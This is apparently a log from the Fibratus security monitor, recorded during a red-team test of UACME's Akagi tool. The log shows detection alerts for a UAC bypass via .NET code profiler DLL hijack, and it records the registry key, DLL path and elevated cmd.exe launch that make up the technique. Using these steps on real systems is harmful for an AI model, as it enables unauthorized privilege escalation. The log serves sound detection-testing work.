VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 78154 + Pid: 11872 + Tid: 4136 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:32:36.8741199 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 431251000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080079dd080, name➜ cmd.exe, pid➜ 2284, ppid➜ 11872, real_ppid➜ 11872, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:32:36.8740709 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 11872 + Ppid: 16280 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:32:41+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 78637 + Pid: 6128 + Tid: 11256 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:32:40.2912897 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528 + + Pid: 6128 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 79088 + Pid: 1544 + Tid: 8904 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:32:40.9356005 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 46026b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800a76a080, name➜ cmd.exe, pid➜ 5360, ppid➜ 1544, real_ppid➜ 1544, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:32:40.9355476 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 1544 + Ppid: 6128 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:32:44+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 79570 + Pid: 13924 + Tid: 8856 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:32:43.6735787 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13924 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 80021 + Pid: 16092 + Tid: 16360 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:32:44.3314577 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3f6a0c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080040f5080, name➜ cmd.exe, pid➜ 16044, ppid➜ 16092, real_ppid➜ 16092, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:32:44.331411 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 16092 + Ppid: 13924 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:33:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:33:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:33:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:33:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:33:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:33:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:33:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:33:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:33:16+01:00 level=info msg=bootstrapping with pid 2920. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:33:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>true enable-registry=>true flush-interval=>1s enable-net=>true buffer-size=>512 enable-fileio=>true enable-dns=>false stack-enrichment=>true enable-handle=>false enable-thread=>true min-buffers=>16 max-buffers=>36 